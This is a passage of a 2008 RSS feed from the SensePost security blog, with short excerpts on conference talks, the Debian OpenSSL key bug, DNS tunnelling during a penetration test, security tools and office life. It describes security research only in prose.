				<description>&lt;p&gt;but since it made me eat crow, i figured i would share it..&lt;/p&gt;&#xA;&lt;p&gt;Although i read a fair bit, i stopped really reading fiction many many moons ago. Its something i often feel ill try to get back into when im a little older with more time (like playing golf), but right now it somehow always feels like fiction pieces give off less real information than their non-fiction counterparts..&lt;/p&gt;&#xA;&lt;p&gt;To this end, i got through about 0.5 of one of the harry potter books, before deciding that it wasnt for me (but still stood in the queue at midnight for the final book because Deels has always been nuts about it..)&lt;/p&gt;</description>
			</item>
			<item>
				<title>DefCon 16 – Hmm.. 2 of these talks seem familiar…</title>
				<link>https://sensepost.com/blog/2008/defcon-16-hmm..-2-of-these-talks-seem-familiar/</link>
				<pubDate>Mon, 02 Jun 2008 23:04:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/defcon-16-hmm..-2-of-these-talks-seem-familiar/</guid>
				<description>&lt;p&gt;&lt;img alt=&#34;dc-16-logo.png&#34; height=&#34;64&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/defcon-16-hmm-2-of-these-talks-seem-familiar/ad77a3eb838855ae3f0a32014746b970.png&#34; width=&#34;128&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some of the DC16 speaker summaries have been posted, and these 2 caught my eye:&lt;/p&gt;&#xA;&lt;h3 &gt;&lt;a href=&#34;http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Alonso&#34; target=&#34;_blank&#34;&gt;Time-Based Blind SQL Injection using heavy queries&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;h3 &gt;&lt;a href=&#34;http://www.defcon.org/html/defcon-16/dc-16-speakers.html#Ricks&#34; target=&#34;_blank&#34;&gt;New Tool for SQL Injection with DNS Exfiltration&lt;/a&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Both descriptions seem pretty much spot on with what we did in our &lt;a href=&#34;http://www.sensepost.com/research/squeeza&#34; target=&#34;_blank&#34;&gt;DefCon talk last year..&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;hmm.. wonder if its new twists on it, or a little more of the same?&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>ActiveX Repurposing.. (aka: Other bugs your static analyzer will never find..) (aka 0day^H^H 485day bug!)</title>
				<link>https://sensepost.com/blog/2008/activex-repurposing..-aka-other-bugs-your-static-analyzer-will-never-find..-aka-0dayhh-485day-bug/</link>
				<pubDate>Thu, 22 May 2008 21:47:03 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/activex-repurposing..-aka-other-bugs-your-static-analyzer-will-never-find..-aka-0dayhh-485day-bug/</guid>
				<description>&lt;p&gt;Earlier this week we had an internal presentation on Attacking ActiveX Controls. The main reason we had it is because of the ridiculously high hit rate we have whenever we look at controls with a slight security bent.. When building the presentation i dug up an old advisory we never publicly released (obviously we reported it to the vendor who (kinda) promptly fixed the bug (without giving us any credit at all, but hey.. ))&lt;br /&gt;&#xA;While the &lt;a href=&#34;http://blogs.msdn.com/ie/archive/2008/05/07/ie8-security-part-ii-activex-improvements.aspx&#34; target=&#34;_blank&#34;&gt;IEBlog promises&lt;/a&gt; updates to IE8 that will minimize the damage caused by owned controls in the future, the fundamental problems with ActiveX today are an attackers dream.&lt;/p&gt;</description>
			</item>
			<item>
				<title>If you run Debian (or a Debian Derivative, like Ubuntu)…</title>
				<link>https://sensepost.com/blog/2008/if-you-run-debian-or-a-debian-derivative-like-ubuntu/</link>
				<pubDate>Tue, 13 May 2008 21:13:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/if-you-run-debian-or-a-debian-derivative-like-ubuntu/</guid>
				<description>&lt;p&gt;Then you probably should get on this one&amp;#8230; [&lt;a href=&#34;http://lists.debian.org/debian-security-announce/2008/msg00152.html&#34; target=&#34;_blank&#34;&gt;Problems with Random Number Generator&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;While it looks like an arb openssl bug, 2 seconds of reading should get you to:&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;It is strongly recommended that all cryptographic key material which has&lt;br /&gt;&#xA;been generated by OpenSSL versions starting with 0.9.8c-1 on Debian&lt;br /&gt;&#xA;systems is recreated from scratch.&lt;/p&gt;&#xA;&lt;p&gt;&amp;#038;&amp;#038;&lt;/p&gt;&#xA;&lt;p&gt;Affected keys include SSH keys, OpenVPN keys, DNSSEC keys, and key&lt;br /&gt;&#xA;material for use in X.509 certificates and session keys used in SSL/TLS&lt;br /&gt;&#xA;connections.&lt;br /&gt;&#xA;-snip-&lt;/p&gt;</description>
			</item>
			<item>
				<title>Should I stay or should I Gobi? Your support needed!</title>
				<link>https://sensepost.com/blog/2008/should-i-stay-or-should-i-gobi-your-support-needed/</link>
				<pubDate>Mon, 28 Apr 2008 20:20:50 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/should-i-stay-or-should-i-gobi-your-support-needed/</guid>
				<description>&lt;p&gt;Hello All,&lt;img align=&#34;right&#34; alt=&#34;tdbg.jpg&#34; height=&#34;101&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/should-i-stay-or-should-i-gobi-your-support-needed/aed830a7d3df9a522503e012658bc286.jpg&#34; width=&#34;266&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Some of you might remember that I climbed Mount Kilimanjaro two years ago. What you might not know is the REASON I did this (apart from the jol) was to o raise funds for CNCF, a Foundation that is a true oasis and a refuge to the street children of Vietnam and Mongolia.&lt;br /&gt;&#xA;CNCF &amp;#8211; The Christina Noble Children&amp;#8217;s Foundation is an International Partnership of people dedicated to serving children in need of emergency and long-term medical care, nutritional rehabilitation, educational opportunities, vocational training, job placement and the protection of children at risk of economic and sexual exploitation.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Phrack is dead.. long live Phrack ??</title>
				<link>https://sensepost.com/blog/2008/phrack-is-dead..-long-live-phrack/</link>
				<pubDate>Wed, 16 Apr 2008 12:18:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/phrack-is-dead..-long-live-phrack/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://uninformed.org/&#34; target=&#34;_blank&#34;&gt;Uninformed&lt;/a&gt; has certainly done awesomely at filling in the gap left when phrack went silent, but there is something nostalgic about reading phrack&amp;#8230; it seems like&lt;a href=&#34;http://www.phrack.org/issues.html?issue=65&#34; target=&#34;_blank&#34;&gt; issue 65&lt;/a&gt; has just hit the streets..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Its my SensePostaversary!</title>
				<link>https://sensepost.com/blog/2008/its-my-sensepostaversary/</link>
				<pubDate>Tue, 01 Apr 2008 20:38:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/its-my-sensepostaversary/</guid>
				<description>&lt;p&gt;Whoa! time flies when you having fun&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a  href=&#34;https://sensepost.com/img/pages/blog/2008/its-my-sensepostaversary/f19fac1b1e7aa6a2df2d5cb5eada2d10.jpg&#34; title=&#34;hello.jpg&#34;&gt;&lt;img alt=&#34;hello.jpg&#34; height=&#34;90&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/its-my-sensepostaversary/47b0dc4262dcbcbffb9e8a8609814a5c.jpg&#34; width=&#34;128&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(click for orig.)&lt;/p&gt;</description>
			</item>
			<item>
				<title>2 Winning quotes..</title>
				<link>https://sensepost.com/blog/2008/2-winning-quotes../</link>
				<pubDate>Sat, 29 Mar 2008 19:53:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/2-winning-quotes../</guid>
				<description>&lt;p&gt;from the SourceBoston videos i blogged about:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://sourceboston2008.blip.tv/file/759111/&#34; target=&#34;_blank&#34;&gt;Dr Geer&lt;/a&gt; never dissapoints, and kicked it off with the 4 rules on his office wall:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Work like hell,&lt;/li&gt;&#xA;&lt;li&gt;Share all you know,&lt;/li&gt;&#xA;&lt;li&gt;Abide by your handshake,&lt;/li&gt;&#xA;&lt;li&gt;Have fun.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If he mentioned anything about foosball or pool.. i woulda sworn blind he was talking about SensePost!&lt;/p&gt;&#xA;&lt;p&gt;The 2nd quote that was awesome, (during the &lt;a href=&#34;http://sourceboston2008.blip.tv/file/770410/&#34; target=&#34;_blank&#34;&gt;interview with the l0pht members&lt;/a&gt;) was from Dildog.. ex-l0pht, ex-@stake, now &lt;a href=&#34;http://www.veracode.com/about/christien-rioux.html&#34; target=&#34;_blank&#34;&gt;Veracodes chief scientist&lt;/a&gt;.. The discussion turned to &amp;#8220;security companies and snake oil&amp;#8221;, and the fact that dildog was a &amp;#8220;vendor&amp;#8221; again.. With a dry smile that could have been at home in a john cleese movie, he replies:&lt;/p&gt;</description>
			</item>
			<item>
				<title>2 reasons to visit sourceboston.com (and 2 reasons to rejoice!)</title>
				<link>https://sensepost.com/blog/2008/2-reasons-to-visit-sourceboston.com-and-2-reasons-to-rejoice/</link>
				<pubDate>Mon, 24 Mar 2008 19:37:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/2-reasons-to-visit-sourceboston.com-and-2-reasons-to-rejoice/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://www.sourceboston.com/&#34; target=&#34;_blank&#34;&gt;SourceBoston&lt;/a&gt; completed its first conference earlier this month, and some of the slide decks and videos are up..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a  href=&#34;https://sensepost.com/img/pages/blog/2008/2-reasons-to-visit-sourceboston-com-and-2-reasons-to-rejoice/4dcc5498c57808c74af5dc91c7359498.jpg&#34; title=&#34;wholel0pht.jpg&#34;&gt;&lt;img alt=&#34;wholel0pht.jpg&#34; height=&#34;96&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/2-reasons-to-visit-sourceboston-com-and-2-reasons-to-rejoice/fe8f0dabd00f62dfc48b6eb9bccda795.jpg&#34; width=&#34;115&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;While the image of the young hax0rs indeed brings back fond memories of surfing blackcrawlarch and trying in vain to get mosaic chat to work in the lounge, it isnt one of the 2 reasons to rejoice..&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The chance to &lt;a href=&#34;http://blip.tv/file/759111&#34; target=&#34;_blank&#34;&gt;watch Dr. Dan Geers talk&lt;/a&gt; (Dr Geer is one of those people who remind you how un-smart you are everytime you hear him speak)&lt;/li&gt;&#xA;&lt;li&gt;And on a mildly unrelated note (for some definition of mild), the fact that all USENIX conference proceedings &lt;a href=&#34;http://www.usenix.org/publications/library/proceedings/&#34; target=&#34;_blank&#34;&gt;have been made available freely online..&lt;/a&gt; Rock on!&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
			</item>
			<item>
				<title>Write a paper? or nip down for a pint?</title>
				<link>https://sensepost.com/blog/2008/write-a-paper-or-nip-down-for-a-pint/</link>
				<pubDate>Wed, 19 Mar 2008 16:20:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/write-a-paper-or-nip-down-for-a-pint/</guid>
				<description>&lt;p&gt;Apparently the two _are_ mutually exclusive.. [&lt;a href=&#34;http://www.nytimes.com/2008/03/18/science/18beer.html?_r=2&amp;#038;oref=slogin&amp;#038;oref=slogin&#34; target=&#34;_blank&#34;&gt;according to the NY Times&amp;#8230;&lt;/a&gt;]&lt;br /&gt;&#xA;-snip-&lt;br /&gt;&#xA;According to the study, published in February in Oikos, a highly respected scientific journal, the more beer a scientist drinks, the less likely the scientist is to publish a paper or to have a paper cited by another researcher, a measure of a paperâ€&lt;img alt=&#34;™&#34;  src=&#34;https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png&#34; /&gt;s quality and importance.&lt;br /&gt;&#xA;-snip-&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;einstein.PNG&#34; height=&#34;96&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/write-a-paper-or-nip-down-for-a-pint/a7961153248361736744939172154a17.PNG&#34; width=&#34;81&#34; /&gt;&lt;img alt=&#34;knuth.PNG&#34; height=&#34;96&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/write-a-paper-or-nip-down-for-a-pint/bd34148a22f6f59e96a79aa72cdbda8f.PNG&#34; width=&#34;108&#34; /&gt;&lt;br /&gt;&#xA;&lt;a  href=&#34;http://introonet.sensepost.com/blog/wp-content/uploads/2008/03/einstein.PNG&#34; title=&#34;einstein.PNG&#34;&gt;&lt;br /&gt;&#xA;&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Veni, Vidi, Damni</title>
				<link>https://sensepost.com/blog/2008/veni-vidi-damni/</link>
				<pubDate>Thu, 13 Mar 2008 04:54:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/veni-vidi-damni/</guid>
				<description>&lt;p&gt;At last years BlackHat USA a bunch of us played some American geeks a game of late night parking lot football.. Our victory there, and the 6 months of victorious memories from that night filled us with enough false self confidence to take on the SBG guys last night..&lt;/p&gt;&#xA;&lt;p&gt;While several of us are claiming altitude differences as the root cause of the bad result, those in the game with a keener eye (and longer memory) will long recall that the (almost) final kick of the match was a missed opportunity to equalise that could have been scored by my grandmother (with her wooden leg). (we will not name the culprit who missed this gift-wrapped goal, because i dont want to people to know it was me)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Everything i needed to know about managing hackers, i learnt from my DVD collection..</title>
				<link>https://sensepost.com/blog/2008/everything-i-needed-to-know-about-managing-hackers-i-learnt-from-my-dvd-collection../</link>
				<pubDate>Sun, 09 Mar 2008 20:35:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/everything-i-needed-to-know-about-managing-hackers-i-learnt-from-my-dvd-collection../</guid>
				<description>&lt;p&gt;Ok.. so the title clearly isnt true.. but it made more sense than saying something about the &lt;a href=&#34;http://www.amazon.com/Moved-Cheese-Amazing-Deal-Change/dp/0399144463/ref=pd_bbs_sr_1?ie=UTF8&amp;#038;s=books&amp;#038;qid=1205093236&amp;#038;sr=8-1&#34; target=&#34;_blank&#34;&gt;altered geographic location of someone&amp;#8217;s dairy products.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It is however true, that this particular blog rant is largely about the geek&lt;--&gt;suit relationship and thoughts that are brought to life with full surround sound while watching the movie &lt;a href=&#34;http://www.imdb.com/title/tt0332452/&#34; target=&#34;_blank&#34;&gt;Troy&lt;/a&gt;. (its ok if you are one of those highly cerebral types who look down with disdain on us humble movie watchers &amp;#8211; u can think of this post in terms of &amp;#8220;what we can learn about managing hackers from Homers &lt;a href=&#34;http://en.wikipedia.org/wiki/Iliad&#34; target=&#34;_blank&#34;&gt;Iliad&lt;/a&gt;&amp;#8220;) (5 minutes after meeting the guys who work for us, a very obvious question is: &amp;#8220;how do u manage a team of such bright individuals? isnt it like herding cats?&amp;#8221; &amp;#8211; this is one of the how-to&amp;#8217;s (or how not to&amp;#8217;s))&lt;/p&gt;</description>
			</item>
			<item>
				<title>RE: Sensepost at Cebit 2008</title>
				<link>https://sensepost.com/blog/2008/re-sensepost-at-cebit-2008/</link>
				<pubDate>Thu, 06 Mar 2008 11:44:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/re-sensepost-at-cebit-2008/</guid>
				<description>&lt;p&gt;&amp;#8220;SensePost have once again been invited to join the South African Department&lt;br /&gt;&#xA;of Trade and Industry at Cebit, as one of 10 SA companies, to exhibit on&lt;br /&gt;&#xA;their pavilion. Visitors to this show range in the region of 500,000 and&lt;br /&gt;&#xA;approximately 5700 exhibitors fill the 27 Halls. Cebit is the biggest&lt;br /&gt;&#xA;information and technology show in Europe and attracts exhibitors and&lt;br /&gt;&#xA;visitors from all over the world.&amp;#8221;  &lt;/p&gt;</description>
			</item>
			<item>
				<title>The Peltier Effect – Year in Review..</title>
				<link>https://sensepost.com/blog/2008/the-peltier-effect-year-in-review../</link>
				<pubDate>Tue, 04 Mar 2008 09:53:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/the-peltier-effect-year-in-review../</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://www.peltierassociates.com&#34; target=&#34;_blank&#34;&gt;Peltier and Associates&lt;/a&gt; have released their massive &amp;#8220;&lt;a href=&#34;http://www.peltierassociates.com/index.php?option=com_docman&amp;#038;task=cat_view&amp;#038;Itemid=8&amp;#038;gid=6&amp;#038;orderby=dmdate_published&#34; target=&#34;_blank&#34;&gt;Peltier Effect &amp;#8211; Year in Review 2007&lt;/a&gt;&amp;#8220;.&lt;/p&gt;&#xA;&lt;p&gt;The collection comes in at a whopping 156 pages from a wide array of authors so there should be somethign to read in it for everyone..&lt;/p&gt;&#xA;&lt;p&gt;Our short article: &amp;#8220;2007 â€“ The Year Timing Attacks Made a Comeback&amp;#8221; comes in on page 43 (or 52 depending on if you believe the page numbers or your pdf reader). Other contributions include a foreword by &lt;a href=&#34;http://www.ranum.com/index.html&#34; target=&#34;_blank&#34;&gt;Marcus Ranum&lt;/a&gt;, and articles from &lt;a href=&#34;http://www.immunitysec.com/&#34; target=&#34;_blank&#34;&gt;Dave Aitel&lt;/a&gt;, &lt;a href=&#34;http://www.matasano.com/log/mtso/&#34; target=&#34;_blank&#34;&gt;Max Caceres&lt;/a&gt; and &lt;a href=&#34;http://www.coresecurity.com/&#34; target=&#34;_blank&#34;&gt;Ivan Arce&lt;/a&gt;.. humbling company..&lt;/p&gt;</description>
			</item>
			<item>
				<title>DNS Tunnels (RE-REDUX)</title>
				<link>https://sensepost.com/blog/2008/dns-tunnels-re-redux/</link>
				<pubDate>Thu, 28 Feb 2008 09:38:58 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/dns-tunnels-re-redux/</guid>
				<description>&lt;p&gt;On a recent assessment we came across the following scenario:&lt;/p&gt;&#xA;&lt;p&gt;1) We have command execution through a web command interpreter script (cmd.jsp) on a remote Linux webserver&lt;br /&gt;&#xA;2) The box is firewalled only allowing 53 UDP ingress and egress&lt;/p&gt;&#xA;&lt;p&gt;3) The box is sitting on the network perimeter, with one public IP and one internal IP, and not in a DMZ&lt;br /&gt;&#xA;So we want to tunnel from the SensePost offices to Target Company&amp;#8217;s internal machines, with this pretty restrictive setup. How did we accomplish this?&lt;/p&gt;</description>
			</item>
			<item>
				<title>SNMP Joins Dark Side in New XSS Attack</title>
				<link>https://sensepost.com/blog/2008/snmp-joins-dark-side-in-new-xss-attack/</link>
				<pubDate>Wed, 27 Feb 2008 19:54:06 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/snmp-joins-dark-side-in-new-xss-attack/</guid>
				<description>&lt;p&gt;-sigh- the topic is stolen directly from the [&lt;a href=&#34;http://www.darkreading.com/document.asp?doc_id=147014&#34; target=&#34;_blank&#34;&gt;DarkReading Article&lt;/a&gt;]&lt;br /&gt;&#xA;-snip-&lt;br /&gt;&#xA;Itâ€&lt;img alt=&#34;™&#34;  src=&#34;https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png&#34; /&gt;s yet another new spin on a pervasive attack &amp;#8212; this time using the old standby Simple Network Management Protocol (SNMP) to stage cross-site scripting (XSS) attacks.&lt;br /&gt;&#xA;-snip-&lt;/p&gt;&#xA;&lt;p&gt;-sigh- a little while back while doing a pen-test on a 1U device, we found that a well poisoned SNMP string could easily result in XSS and even SQL Injection attacks.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Prof Felten (and friends) attack bitlocker/filevault (and friends)</title>
				<link>https://sensepost.com/blog/2008/prof-felten-and-friends-attack-bitlocker/filevault-and-friends/</link>
				<pubDate>Thu, 21 Feb 2008 20:30:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/prof-felten-and-friends-attack-bitlocker/filevault-and-friends/</guid>
				<description>&lt;p&gt;So felten et al basically figured that &lt;a href=&#34;http://www.freedom-to-tinker.com/?p=1257&#34; target=&#34;_blank&#34;&gt;cooling dram chips&lt;/a&gt;  allows an attacker to move them to another machine where they can be leeched!&lt;/p&gt;&#xA;&lt;p&gt;&lt;span &gt;&lt;a href=&#34;http://www.youtube.com/watch?v=JDaicPIgn9U&#34; target=&#34;_blank&#34;&gt;&lt;img alt=&#34;freeze.PNG&#34; height=&#34;95&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/prof-felten-and-friends-attack-bitlocker-filevault-and-friends/56be4dfb123e43f32590d99f4afc9726.PNG&#34; width=&#34;128&#34; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;The geek in me cant help but say &amp;#8220;COOL!&amp;#8221;&lt;br /&gt;&#xA;According to the comments posted (by Eugene Spafford no less) this sort of attack is fairly well known.. but.. for this humble fanboy, i think its still pretty rocking!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sorting your shoes like a whore!</title>
				<link>https://sensepost.com/blog/2008/sorting-your-shoes-like-a-whore/</link>
				<pubDate>Mon, 18 Feb 2008 10:29:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/sorting-your-shoes-like-a-whore/</guid>
				<description>&lt;p&gt;(my first X-Rated blog post.. i should hook up ad-words and watch the money roll in!)&lt;/p&gt;&#xA;&lt;p&gt;Ok.. our Zimbabwean recruit was posed the following question by some international academics:&lt;/p&gt;&#xA;&lt;p&gt;Q:&amp;#8221;How would you sort your shoes?&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;He answered:&lt;/p&gt;&#xA;&lt;p&gt;A: &amp;#8220;&lt;em&gt;I make the assumption that the shoes are positioned such that I can see their sizes, and that they are in a row of boxes. I would randomly pick a pair of shoes in a box and call them my &amp;#8216;pivot point&amp;#8217;. I would then reorder the shoes such that all shoes with sizes less than my pivot are on the left of it, and all shoes with a greater size are on the right of the pivot (perhaps having 2 piles of shoes next to me as I work, one for size less than, one for size greater than). This pivot pair of shoes would now be in their correct sorted position. I would then apply this same process to the left and right sets of shoes, and then to their left(left,right) and right(left,right) sets, continuing this process until all shoes have been &amp;#8216;pivoted&amp;#8217; or there is only one or zero pair of shoes between two pivots. (i.e a set of only one pair).&lt;/em&gt;&amp;#8221;&lt;/p&gt;</description>
			</item>
			<item>
				<title>HTTP-Mangler QoW…</title>
				<link>https://sensepost.com/blog/2008/http-mangler-qow/</link>
				<pubDate>Mon, 18 Feb 2008 10:18:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/http-mangler-qow/</guid>
				<description>&lt;p&gt;Many people took a crack at &amp;#8220;&lt;a href=&#34;http://www.sensepost.com/blog/2056.html&#34; target=&#34;_blank&#34;&gt;what tool will work to replace mangler, out of the box&lt;/a&gt;&amp;#8221; and so we have a bunch of new tools to play with..&lt;/p&gt;&#xA;&lt;p&gt;Steven&amp;#8217;s answer of MS-Word or PowerPoint left us scratching our heads a little, and &lt;a href=&#34;http://introonet.sensepost.com/blog/?p=2055#comments&#34; target=&#34;_blank&#34;&gt;rezn threw in&lt;/a&gt; the added complexity of the app requiring valid certs..&lt;/p&gt;&#xA;&lt;p&gt;(to answer rezn, i think you could avoid the SSL complications with judicious use of a &lt;a href=&#34;http://research.microsoft.com/sn/detours/&#34; target=&#34;_blank&#34;&gt;detours app&lt;/a&gt; or &lt;a href=&#34;http://www.bindshell.net/tools/echomirage&#34; target=&#34;_blank&#34;&gt;echo-mirage&lt;/a&gt; from &lt;a href=&#34;http://www.bindshell.net/&#34; target=&#34;_blank&#34;&gt;bindshell.net&lt;/a&gt;).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Locating other sites on a virtually hosted box..</title>
				<link>https://sensepost.com/blog/2008/locating-other-sites-on-a-virtually-hosted-box../</link>
				<pubDate>Mon, 18 Feb 2008 09:58:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/locating-other-sites-on-a-virtually-hosted-box../</guid>
				<description>&lt;p&gt;So everyone uses the live search engine with a &lt;a href=&#34;http://search.live.com/results.aspx?q=ip%3A10.10.1.1&amp;#038;go=Search&amp;#038;form=QBRE3&#34; target=&#34;_blank&#34;&gt;ip:&lt;/a&gt; when trying to locate virtual hosts.&lt;br /&gt;&#xA;I used &lt;a href=&#34;http://www.domaintools.com/reverse-ip/&#34; target=&#34;_blank&#34;&gt;domaintools&lt;/a&gt; in the past with good results, till they went fully pay-per-use.&lt;/p&gt;&#xA;&lt;p&gt;Checkout &lt;a href=&#34;http://www.yougetsignal.com/tools/web-sites-on-web-server/&#34; target=&#34;_blank&#34;&gt;Reverse IP Domain Check&lt;/a&gt; , The 2 ips i&amp;#8217;ve tested it on, gave reasonable results and at a great price!&lt;/p&gt;</description>
			</item>
			<item>
				<title>WebScarab-NG HTTP Mangler Functionality</title>
				<link>https://sensepost.com/blog/2008/webscarab-ng-http-mangler-functionality/</link>
				<pubDate>Mon, 18 Feb 2008 08:58:02 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/webscarab-ng-http-mangler-functionality/</guid>
				<description>&lt;p&gt;H said that there is a tool that will do the HTTP Mangler functionality out of the box.&lt;/p&gt;&#xA;&lt;p&gt;So here goes. WebScarab-NG is the tool that will do the trick. First we select the feature that will allow us to setup the proxy listener as seen in the image below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Pic1.png&#34; height=&#34;228&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/webscarab-ng-http-mangler-functionality/c73da6ee03e158c731506ca10d553d99.png&#34; width=&#34;294&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then we need to configure the proxy listener to the ports etc we need as seen below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;Pic2.png&#34; height=&#34;333&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/webscarab-ng-http-mangler-functionality/57d8593876ba5c1363d3839988542693.png&#34; width=&#34;333&#34; /&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Horses and DNS BruteForcing..</title>
				<link>https://sensepost.com/blog/2008/horses-and-dns-bruteforcing../</link>
				<pubDate>Fri, 15 Feb 2008 09:14:35 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/horses-and-dns-bruteforcing../</guid>
				<description>&lt;p&gt;Old timers here will know about the concept of bruteforcing DNS using the clues available..&lt;/p&gt;&#xA;&lt;p&gt;i.e. zone transfers disabled, but u see that the NS and MX servers are called gandalf.company.com and elrond.company.com. Effectively trying frodo.company.com is going to make good sense..&lt;/p&gt;&#xA;&lt;p&gt;To this end &lt;a href=&#34;http://www.sensepost.com/research/bidiblah/&#34; target=&#34;_blank&#34;&gt;BidiBlah will do this automagically&lt;/a&gt; for u and tries to eek out info.. (a little while back i saw fierce-scanner pop up in a similar vein!)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Open source (and lightning fast) Safari ?</title>
				<link>https://sensepost.com/blog/2008/open-source-and-lightning-fast-safari/</link>
				<pubDate>Sun, 10 Feb 2008 20:08:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/open-source-and-lightning-fast-safari/</guid>
				<description>&lt;p&gt;While im into posting mac-links.. Check out [&lt;a href=&#34;http://nightly.webkit.org/&#34; target=&#34;_blank&#34;&gt;Webkit&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;div&gt;&lt;img alt=&#34;dock.PNG&#34; height=&#34;66&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/open-source-and-lightning-fast-safari/5c99fa16573acef7efdc779b738a04c5.PNG&#34; width=&#34;156&#34; /&gt;&lt;/div&gt;&#xA;&lt;p&gt;A little while back i mentioned not understanding why anyone would run a closed source browser while a decent open source version existed.. Then i was forced to use Safari while doing some testing, and was impressed by its snappiness.. it impressed me more when it didnt flinch at me opening ans surfing thousands of tabs.. blergh.. suddenly my firefox was losing its sheen!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Tooble for the win.. piracy&#43;&#43; ??</title>
				<link>https://sensepost.com/blog/2008/tooble-for-the-win..-piracy/</link>
				<pubDate>Sat, 09 Feb 2008 17:55:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/tooble-for-the-win..-piracy/</guid>
				<description>&lt;p&gt;For those of you who have not yet tried it, check out &lt;a href=&#34;http://tooble.tv/&#34; target=&#34;_blank&#34;&gt;Tooble&lt;/a&gt;. Its a point and click tool that lets you download videos from the youtube.. its pretty cool and allows u to pull/convert videos pretty trivially.. [for all my &amp;#8220;dont do piracy&amp;#8221; holier than thou-ness, i now have to wondr if pulling a google-tech-talk, which doesnt have a download link (i.e. the authors did not want us to download it) is any different to pandas &lt;strong&gt;cat internet &gt; home_nas&lt;/strong&gt; behaviour..)&lt;/p&gt;</description>
			</item>
			<item>
				<title>HBN Bootcamp @ Black Hat</title>
				<link>https://sensepost.com/blog/2008/hbn-bootcamp-@-black-hat/</link>
				<pubDate>Mon, 28 Jan 2008 21:46:56 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/hbn-bootcamp-@-black-hat/</guid>
